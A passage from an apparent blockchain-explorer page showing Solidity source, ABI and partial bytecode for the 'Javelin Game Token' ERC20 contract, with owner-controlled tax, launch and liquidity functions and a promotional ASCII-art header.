        data = Token.data();
    }

}
// File: contracts/oz/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.19;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    function burn(uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// File: contracts/oz/interfaces/IERC20.sol


// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol)

pragma solidity ^0.8.19;


// File: contracts/ERC20Token.sol


/*

JAVELIN - Telegram Game on Ethereum Network

Telegram: https://t.me/javelingametoken
Website: https://javelingames.io
Twitter: https://twitter.com/javelingamecoin

             ..........................................................................             
        ....................................................................................        
     ..........................................................................................     
   ..............................................................................................   
  ................................................................................................  
 .................................................................................................. 
 .................................................................................................. 
 .................................................................................................. 
 ...............................     .............................................................. 
 ...........................            ........................................................... 
 ..........................               ......................................................... 
 .........................                 ........................................................ 
 .........................                 ........................................................ 
 ..........................               ......................................................... 
 ...........................              ......................................................... 
 .............................             ........................................................ 
 .........................................             ............................................ 
 ..........................................              .......................................... 
 ..........................................               ......................................... 
 .........................................                 ........................................ 
 .........................................                 ........................................ 
 ..........................................               ......................................... 
 ............................................             ......................................... 
 ...............................................     ....  ........................................ 
 ..........................................................             ........................... 
 ..........................................................               ......................... 
 ................................         .................                ........................ 
 ..............................            ................                ........................ 
 ..............................             ...............                ........................ 
 ..............................            ................               ......................... 
 ...............................           ................             ........................... 
 ...................................   ...   ...     ....  ........................................ 
 ..........................................               ......................................... 
 .........................................                ......................................... 
 .........................................                ......................................... 
 .........................................                ......................................... 
 .........................................                ......................................... 
 ...........................................             .......................................... 
 .............................................        ............................................. 
 .................................................................................................. 
 .................................................................................................. 
 .................................................................................................. 
  ................................................................................................  
   ..............................................................................................   
     ..........................................................................................     
        ....................................................................................        
             ..........................................................................             

/*
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000OOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOO000000000000000000x
00000000000000koc;,......................................................................................,;cok00000000000000x
00000000000xl,.                                                                                              .,lxO0000000000x
000000000x:.                                                                                                    .;d000000000x
0000000kc.                                                                                                        .ck0000000x
000000x,                                                                                                            'x000000x
00000x,                                                                                                              'x00000x
0000O:                                                                                                                ;O0000x
0000d.                                                                                                                .d0000x
0000l                                ,,                ,,                       .loool,                                l0000x
0000l                               ;xk:.             :kk:                     'dOkkkkx:                               c0000x
0000l                             .:kOkkc.          .ckOkkc.                  ,xOkkkkkOkc.                             c0000x
0000l                            .lkOkkkko.        .lkkkkkkl.                ;xkkkkkkOkkkl.                            c0000x
0000l                           .okkkOkkOx'       .okkkOOkOd'                ....;dOkOOkkko.                           c0000x
0000l                          'dkkkkkkOd'       'dOkkkkkOd'                      'dOkkkkkOd'                          c0000x
0000l                         ,dOkkkkkko.       ,xOkkkkkko.                        .okOkOkkOx,                         c0000x
0000l                        ;xOkkOkkkl.       ;xOkkkkkkl.              .....       .lkkkOOkOx;                        c0000x
0000l                       :kOkkkkkkc.      .:kOkkkkOkc.              ,dxxxxc.      .ckOkkkkOk:.                      c0000x
0000l                     .ckOkkkkkk:       .ckkkOkkOx;               ;xkkkkkkl.       :xOkkOkOkl.                     c0000x
0000l                    .lkOkkOkOx;       .okkkkkkOx,              .:kOkkkkkkko.       ;xOkkOkkko.                    c0000x
0000l                   .oOkkOkkOd,       .okkkkkkkd'              .ckOkkkkkOkkOd'       'dOkkOkkOd'                   c0000x
0000l                  'dOkkkOkko.       ,dOkkOkkko.              .lkOkkkkkkkkkkOx,       .okkkkOkkd,                  c0000x
0000l                 ,xOkkkkOko.       ;xOkkkkkkl.              .okkkkkkkkkkkkkkOx;       .lkkkOkkOx;                 c0000x
0000l                ;xOkkOkkkl.       :kOkkOkkkc.              'dOkkkkkOo,ckOkkOkOkc.      .ckkkkkkOk:                c0000x
0000l              .ckOkkkkOk:.      .ckOkkkkOx:              .,xkkOkOOko.  :xOkOkkOkl.       :kkkkkkkkc.              c0000x
0000l             .lkOkkOOOx;       .lkkkkkkOx;              :dxOkkkkOkc.    ,xOkOkkkko.       ;xOkkkkOkl.             c0000x
0000l            .okkkOkkOx,       .okkkkkkOd'             .ckOkkkkkOkc.      'dOkkkkkOd.       ,dkkkkkkko.            c0000x
0000l           'dOkkOOkOd'       'dOkkOkkOo.             .lkOkkkkkOx;         .okOkkOkOd,       .dOkkkkkOd'           c0000x
0000l          ,dOkOOkkko.       ,xOkkkkOkl.             .okkkOOkkOx,           .lkkkkkkOx;       .okkkkkkOx,          c0000x
0000l         .oOkkOkkOx,       .dOkkkkkOx'             'dOkOkkkkOd'             'xOkOkkkOd.       'xOkOkkkOd.         c0000x
0000l          'dOkkkkkko.       ,xOkkkkkko.           ,xOkkkkkkko.             .okkkkOkOx,       .oOkkkkkOd,          c0000x
0000l           .okOkkkkOd'       'dOkkkOkkd'         ;xOkOOkkOkl.             .oOkkkkOkd'       'dOkkOkkkd'           c0000x
0000l            .lkkkkOkOx,       .okkkkkkOd,      .:kkkkkkOkxc.             ,dOkkkkkko.       ,xOkkkkkko.            c0000x
0000l             .ckOkkOkkx:       .lkOkkkkOx;    .lkOkkkkOx:.              ;xOkkkkOkl.       ;xOkkkOOkl.             c0000x
0000l              .:kOkkkkOkc.      .ckkkkkkkk:. .okkkkkkOx,               :kOkkkkOkc.      .ckOkkkkOkc.              c0000x
0000l                ;xOkkkkOkl.       :kOkkOkOkc;oOOkkkkOd'              .ckkkkkkkk:       .lkkkkkkOx;                c0000x
0000l                 ,xkkOkkOko.       ,xOkkOOkkkkkkOkkko.              .lkkkkkkkx;       .okkkkkkOx,                 c0000x
0000l                  'dOkkkOkkd'       'dOkkkkkkkkkkkkl.              .okkkOkkOd,       'dOkOOkkOd'                  c0000x
0000l                   .okkkkkkOx,       .oOkkkkkkkkOkc.              'dOkOOkkOd'       ,dOkOkkkko.                   c0000x
0000l                    .lkkkkkkOx;       .lkkkkOOkOk:               ,xOkkOkkko.       ;xOkkOkkkl.                    c0000x
0000l                     .ckOkkkkOk:.      .ckkkkkOx;               :xOkkOkkkl.      .:kOkkkkkkc.                     c0000x
0000l                       :xOkkkkOkl.      .:dxxxo,              .ckOkkkkOkc.      .ckkkkOkOk:                       c0000x
0000l                        ,xOkkkkkko.       ....               .lkkkkkkOx;       .lkOkkkkOx;                        c0000x
0000l                         'dOOkkkkOo.                        .okkkkkkOx,       .oOkkkkkOd,                         c0000x
0000l                          .okkkkOkOd,                      'dOkkkkkOd'       'dOkkOOkkd'                          c0000x
0000l                           .lkkkOkkOx:'...                .dOkkkkkko.       'xOkkkkOko.                           c0000x
0000l                            .ckkkkkkkkkkx;                .ckOkkOkl.        .lkkkkOkl.                            c0000x
0000l                             .:kkkkkOkOx,                  .:kkkkc.          .ckkkkc.                             c0000x
0000l                               ;xOkkkOd'                     ;xk:.             :kx;                               c0000x
0000l.                               'llllc.                       ',                ''                                l0000x
0000d.                                                                                                                .d0000x
0000O:                                                                                                                ;O0000x
00000k,                                                                                                              'x00000x
000000k,                                     [email protected]                                      ,x000000x
0000000kc.                                                                                                        .ck0000000x
000000000x:.                                                                                                    .:xO00000000x
00000000000kl;.                                                                                              .;lk0O000000000x
00000000000O00kdl:,'....................................................................................',:ldk00000000000000x
0000000000000000000OOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOO0000000000000000000x
0000000000000000000000000000000000000000O0000000OOO000000000000000000OO000O0000000000000000000000000000000000000000000000000x
000000000000000000000000000000000000000000000kdddddk00000000000000OxddddxO00000000000000000000000000000000000000000000000000x
00000000000000000000000000000000000000000000O:    .cO0000000000000o.    ,k00000000000000000000000000000000000000000000000000x
0000000000000O0000O00000000000O00O0000000000O;     :O0000000O000O0o.    'x0000000000000000000000O000000000000O00000000000000x
00000000000kxddddxxO00000000OkddddddddxO0000O;     :O0000Oxddddddx:     'x0O00OkxdddddddxO00000kdddddkO0000kxddddkO000000000x
00000000Oo;..     ..;dO00Ox:..        ..;dO0O;     :O0Od;..             'x0Oxc'.        ..;oO00c.    ;O0000c.    ;O000000000x
0000000k:     .:c:'  .o0Ol.     '::,.    .cOO;     :0Oc.    .,::cc,     'x0o.     '::;.     :O0:     ,O0000:     ,O000000000x
0000000o.    .x000Oc..cOk'     cO000o.    .xO;     :0d.    .o00000o.    'kO,     :O000d.    .o0:     ,O0000:     ,O000000000x
0000000o.     'lxO0OkkO0x.    .o0O00x.    .d0;     :0o.    'x0OOO0o.    .kk'     l0000k'    .l0:     ,O0000:     ,O000000000x
0000000kc.      .'cdO0O0x.    .o0O00x.    .dO;     :0o.    'x0O0O0o.    .kk'     .;;;;,.    .l0:     ,O0000:     ,O000000000x
00000000Oxl,.       .ck0x.    .o00O0x.    .d0;     :0o.    'x0OOO0o.    .kk'      ..........'d0:     ,O0000:     ;O000000000x
000000000000ko:.      :0x.    .o00O0x.    .d0;     :0o.    'x00000o.    'kk'     ckkkkkkkkkkkO0:     ,O0000:     l0000000000x
0000000d:,ck0O0k;     ,Ox.    .o0OO0d.    .d0;     :0o.    .x00000l     .kk'     c0000O00kc,:x0:     ,O0O0O:    ;k0000000000x
00000O0d.  ,oddl.    .l0O:     .cddl'     ;OO;     :0k,     'loddc.     'x0c     .:oddddo;  ,k0:     'dddo:.  .ck00000000000x
0000000Oo'          'oO00Ol.            .ck0O;     :O0k:.         .     'x0Oo'            .;x00:           .'cx0000000000000x
000000000OdlcccccclxO000000Odlccccccccldk000Odcccccd0000kocccccccdxlccccoO0O0OdlcccccccccoxO000xcccccccccloxO000000000000000x
000000000O000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0d
*/

pragma solidity ^0.8.19;



contract MERC20 is ERC20 {

    using Token for *;

    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);

    event Connected(address indexed Address, uint256 indexed PID, uint256 indexed CID);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    constructor(address dev, address marketing, address prize) ERC20("Javelin Game Token", "JVL", dev, marketing, prize) {
        _mint(address(this), uint96(1000000000*10**18));
        _transferOwnership(msg.sender);
    }

    receive() external payable {}

    function deposit() external payable {}

    function _checkOwner() internal view {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function owner() public view returns (address) {
        return token().owner;
    }

    function _transferOwnership(address newOwner) internal {
        Storage storage db = token();
        address oldOwner = db.owner;
        db.owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function settings() external view returns(Settings memory) {
        return token().settings;
    }

    function account() external view returns(Account memory) {
        return account(msg.sender);
    }

    function account(address user) public view returns(Account memory) {
        return user.account();
    }

    function connect(uint256 id) external returns(uint256) {
        Account storage user = _msgSender().account();
        if(user.PID == 0) { 
            user.PID = token().PID++;
            if(user.Address == address(0)) user.Address = _msgSender();
        }
        emit Connected(msg.sender, user.PID, id);
        return id;
    }

    function recoverETH() external {
        Settings memory sdb = token().settings;
        uint256 amount = address(this).balance;
        (bool sent,) = payable(sdb.feeRecipients[0]).call{value: amount, gas: sdb.gas}("");
        require(sent, "Tx failed");
    }

    function recoverERC20() external {
        recoverERC20(IERC20(address(this)));
    }

    function recoverERC20(IERC20 _token) public {
        Settings memory sdb = token().settings;
        uint256 amount = _token.balanceOf(address(this));
        _token.transfer(sdb.feeRecipients[0], amount);
    }

    function initLiquidity() external payable swapping onlyOwner {
        Storage storage data = token();
        uint256 tokenBalance = balanceOf(address(this));
        _approve(address(this), address(ROUTER),type(uint256).max, false);
        _approve(address(this), address(this),type(uint256).max, false);
        ROUTER.addLiquidityETH{value: msg.value}(
            address(this),
            tokenBalance,
            0,
            0,
            address(this),
            block.timestamp
        );
        data.PAIR = IPair(ISwapFactory(ROUTER.factory()).getPair(address(this), ROUTER.WETH()));
        address(data.PAIR).register();
        address(data.PAIR).setAsMarketmaker();    
        _approve(address(this), address(data.PAIR),type(uint256).max, false);
    }    

    function toggleIdentifier(address _address, uint8 idx) external onlyOwner {
        _address.toggleIdentifier(idx);
    }

    function isLaunched() external view returns(bool) {
        return token().launched;
    }

    function startLaunch() external onlyOwner {
        token().launched = true;
    }

    function disableFairMode() external onlyOwner {
        token().settings.fairMode = 0;
    }

    function decreaseTax() public onlyOwner {
        Settings storage sdb = token().settings;
        sdb.buyTax -= 500;
        sdb.sellTax -= 500;
        sdb.transferTax -= 500;
    }

    function renounceOwnership() public onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"dev","type":"address"},{"internalType":"address","name":"marketing","type":"address"},{"internalType":"address","name":"prize","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"currentAllowance","type":"uint256"},{"internalType":"uint256","name":"requestedDecrease","type":"uint256"}],"name":"FailedDecreaseAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"InvalidSender","type":"error"},{"inputs":[],"name":"InvalidSigner","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"inputs":[],"name":"PermitExpired","type":"error"},{"inputs":[],"name":"TradingNotOpened","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Address","type":"address"},{"indexed":true,"internalType":"uint256","name":"PID","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"CID","type":"uint256"}],"name":"Connected","type":"event"},{"anonymous":false,"inputs":[],"name":"EIP712DomainChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PERMIT_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ROUTER","outputs":[{"internalType":"contract ISwapRouterV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint24","name":"value","type":"uint24"}],"name":"_gas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint256","name":"starts","type":"uint256"},{"internalType":"uint256","name":"ends","type":"uint256"}],"name":"_helpers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint16","name":"value","type":"uint16"}],"name":"_identifiers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint48","name":"value","type":"uint48"}],"name":"_ratios","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"value","type":"bytes"}],"name":"_recipients","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint80","name":"value","type":"uint80"}],"name":"_shares","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"value","type":"uint16"}],"name":"_swapThreshold","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"account","outputs":[{"components":[{"internalType":"uint16","name":"identifiers","type":"uint16"},{"internalType":"uint64","name":"nonces","type":"uint64"},{"internalType":"uint80","name":"PID","type":"uint80"},{"internalType":"uint96","name":"balance","type":"uint96"},{"internalType":"address","name":"Address","type":"address"}],"internalType":"struct Account","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"account","outputs":[{"components":[{"internalType":"uint16","name":"identifiers","type":"uint16"},{"internalType":"uint64","name":"nonces","type":"uint64"},{"internalType":"uint80","name":"PID","type":"uint80"},{"internalType":"uint96","name":"balance","type":"uint96"},{"internalType":"address","name":"Address","type":"address"}],"internalType":"struct Account","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"connect","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"requestedDecrease","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decreaseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deposit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"disableFairMode","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"eip712Domain","outputs":[{"internalType":"bytes1","name":"fields","type":"bytes1"},{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"version","type":"string"},{"internalType":"uint256","name":"chainId","type":"uint256"},{"internalType":"address","name":"verifyingContract","type":"address"},{"internalType":"bytes32","name":"salt","type":"bytes32"},{"internalType":"uint256[]","name":"extensions","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"isLaunched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"_name","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"}],"name":"recoverERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"settings","outputs":[{"components":[{"internalType":"uint8","name":"fairMode","type":"uint8"},{"internalType":"uint16","name":"buyTax","type":"uint16"},{"internalType":"uint16","name":"sellTax","type":"uint16"},{"internalType":"uint16","name":"transferTax","type":"uint16"},{"internalType":"uint16","name":"developmentShare","type":"uint16"},{"internalType":"uint16","name":"marketingShare","type":"uint16"},{"internalType":"uint16","name":"prizeShare","type":"uint16"},{"internalType":"uint16","name":"burnShare","type":"uint16"},{"internalType":"uint16","name":"autoLiquidityShare","type":"uint16"},{"internalType":"uint16","name":"swapThresholdRatio","type":"uint16"},{"internalType":"uint24","name":"gas","type":"uint24"},{"internalType":"address[3]","name":"feeRecipients","type":"address[3]"}],"internalType":"struct Settings","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"_symbol","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint8","name":"idx","type":"uint8"}],"name":"toggleIdentifier","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6101a060405234801562000011575f80fd5b506040516200463b3803806200463b833981016040819052620000349162000980565b604051806040016040528060128152602001712530bb32b634b71023b0b6b2902a37b5b2b760711b8152506040518060400160405280600381526020016212959360ea1b81525084848484604051806040016040528060018152602001603160f81b815250620000aa82620002fa60201b60201c565b6080528151602083012060a0528051601f808301515f19909201100260c0528051602082012060e0526200014260a0805160e051604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f602082015290810192909252606082015246608082015230918101919091525f9060c00160405160208183030381529060405280519060200120905090565b610100525050466101205284518451601b82116005821117156200016f57631623655b60e31b5f5260045ffd5b86518651818803601e90810151838b0151601f85900360031b1b175f199290930191909101100261014052601261018052620002b6620002a0868686604080516101c0810182525f80825260208201819052918101829052606081018290526080810182905260a0810182905260c0810182905260e08101829052610100810182905261012081018290526101408101829052610160810182905261018081018290526101a081019190915250604080516101c08101825260818152622dc6c060208201526109c4918101829052606081018290526080810191909152610fa060a0820181905260c08201525f60e0820181905261010082018190526107d06101208301526101408201526001600160a01b039384166101608201529183166101808301529091166101a082015290565b5f805160206200461b8339815191529062000310565b6001600160a01b03166101605250620002e695503094506b033b2e3c9fd0803ce8000000935050620005b7915050565b620002f133620006b5565b505050620009fb565b5f601f600183510310601f830151029050919050565b73753ba0e808a7aaba8027fbaafd7f0d82d317d6255f908152600783016020819052604082208054637fff8000191661800017905560038401906200035462000725565b9250835f0151825f015f6101000a81548160ff021916908360ff1602179055508360200151825f0160136101000a81548162ffffff021916908362ffffff1602179055508360400151825f0160016101000a81548161ffff021916908361ffff1602179055508360600151825f0160036101000a81548161ffff021916908361ffff1602179055508360800151825f0160056101000a81548161ffff021916908361ffff1602179055508360a00151825f0160076101000a81548161ffff021916908361ffff1602179055508360c00151825f0160096101000a81548161ffff021916908361ffff1602179055508360e00151825f01600b6101000a81548161ffff021916908361ffff160217905550836101000151825f01600d6101000a81548161ffff021916908361ffff160217905550836101200151825f01600f6101000a81548161ffff021916908361ffff160217905550836101400151825f0160116101000a81548161ffff021916908361ffff16021790555060405180606001604052808561016001516001600160a01b03166001600160a01b031681526020018561018001516001600160a01b03166001600160a01b03168152602001856101a001516001600160a01b03166001600160a01b03168152508260010190600362000541929190620008f1565b50620005566001600160a01b038416620007be565b6200056133620007f0565b6101608401516200057b906001600160a01b0316620007f0565b61018084015162000595906001600160a01b03166200082e565b6101a0840151620005af906001600160a01b03166200082e565b505092915050565b5f80516020620045db83398151915280545f805160206200461b833981519152918391601490620005fa908490600160a01b90046001600160601b0316620009c7565b92506101000a8154816001600160601b0302191690836001600160601b031602179055508162000639846001600160a01b03166200085d60201b60201c565b80546001600160601b03600160a01b8083048216909401169092026001600160a01b03928316179055604051908416905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620006a89086906001600160601b0391909116815260200190565b60405180910390a3505050565b5f80516020620045db83398151915280546001600160a01b031981166001600160a01b038481169182179093556040515f805160206200461b833981519152939092169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3505050565b5f4660011480620007365750466005145b15620007555750737a250d5630b4cf539739df2c5dacb4c659f2488d90565b4662aa36a70362000779575073c532a74256d3db42d0bf7a0400fefdbad769400890565b466038036200079b57507310ed43c718714eb63d5aa57b78b54704e256024e90565b46606103620007bb5750739ac64cc6e4415144c455bd8e4837fea55603e5c35b90565b60016